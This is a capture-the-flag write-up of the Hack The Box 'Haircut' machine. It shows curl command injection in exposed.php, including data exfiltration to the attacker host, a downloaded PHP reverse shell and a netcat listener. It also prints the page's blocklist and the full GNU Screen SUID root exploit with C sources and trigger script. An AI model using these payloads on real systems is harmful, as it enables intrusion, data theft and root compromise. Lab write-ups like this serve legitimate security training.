Welcome to the Haircut writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux



To get started, we run a quick open ports scan.

$ nmap -p- -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:20 CEST
Nmap scan report for
Host is up (0.10s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 432.83 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:28 CEST
Nmap scan report for
Host is up (0.11s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1   147.35 ms
2   147.41 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds

Port 80


$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x html,php -t 50
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php
[+] Timeout:                 10s
2021/05/09 09:34:08 Starting gobuster in directory enumeration mode
/index.html           (Status: 200) [Size: 144]
/uploads              (Status: 301) [Size: 194] [-->]
/test.html            (Status: 200) [Size: 223]                                  
/hair.html            (Status: 200) [Size: 141]                                  
/exposed.php          (Status: 200) [Size: 446]                                  

2021/05/09 09:56:41 Finished

Checking the exposed.php file we can see that there is a form that makes a request to a web page and shows the result.

Let's see if it uses curl to see if we can do a command injection.
If we make a request with the empty text field, we see that it indicates an error in the curl command.

Let's try to inject a shell.



To check if we have RCE we can ping our IP address to see if we receive ICMP requests.

$(ping -c 3

$ tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:43:36.219514 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 1, length 64
09:43:36.219553 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 1, length 64
09:43:37.219917 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 2, length 64
09:43:37.219952 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 2, length 64
09:43:38.220529 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 3, length 64
09:43:38.220567 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 3, length 64

Perfect, now doing some tests we can verify that some characters like ; and & are restricted by what we are going to receive in base64 the source code of the exposed.php file.

`curl -X POST -d "b64=$(base64 exposed.php)"`
$ nc -lnvp 80
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 46478
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 1248
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue


As we can see, we can't execute any of these characters '%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'.

        <title>Hairdresser checker</title>
    <form action='exposed.php' method='POST'>
        Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
        <input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
        <input type='submit' name='submit' value='Go' id='submit' />
                echo "<p>Requesting Site...</p>"; 
                foreach($disallowed as $naughty){
                    if(strpos($userurl,$naughty) !==false){
                        echo $naughty.' is not a good thing to put in a URL';
                    echo shell_exec("curl ".$userurl." 2>&1"); 

Knowing these restrictions we can upload a shell in PHP to /tmp and execute it later.

$(wget -O /tmp/shell.php)

Now with a terminal listening we run our shell with php.

$(php /tmp/shell.php)
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [] from (UNKNOWN) [] 53456
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:35:12 up 11 min,  0 users,  load average: 0.02, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1651): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post exploitation



As we can see on the list, Screen is configured as SUID and looking at exploit-db we can find this exploit for the Screen version that is installed on the system.

www-data@haircut:/$ find / -perm /4000 2>/dev/null

Privilege escalation: www-data to root

The system is not ready to compile our libhax.so bookstore so we are going to compile along with rootshell.c on our system and we upload the binaries to the box.

$ cat << EOF > /tmp/libhax.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> __attribute__ ((__constructor__))
> void dropshell(void){
>     chown("/tmp/rootshell", 0, 0);
>     chmod("/tmp/rootshell", 04755);
>     unlink("/etc/ld.so.preload");
>     printf("[+] done!\n");
> }
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
$ cat << EOF > /tmp/rootshell.c
> #include <stdio.h>
> int main(void){
>     setuid(0);
>     setgid(0);
>     seteuid(0);
>     setegid(0);
>     execvp("/bin/sh", NULL, NULL);
> }
$ gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

Perfect, now we upload the binaries to /tmp, we create a script with the rest of the exploit to make it automatic and we will give you execution permissions.

> echo "[+] Now we create our /etc/ld.so.preload file..."
> cd /etc
> umask 000 # because
> screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
> echo "[+] Triggering..."
> screen -ls # screen itself is setuid, so... 
> /tmp/rootshell
www-data@haircut:/etc$ cd /tmp     
www-data@haircut:/tmp$ chmod +x rootshell.sh

And it's time to run the script and receive root!

www-data@haircut:/tmp$ ./rootshell.sh 
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)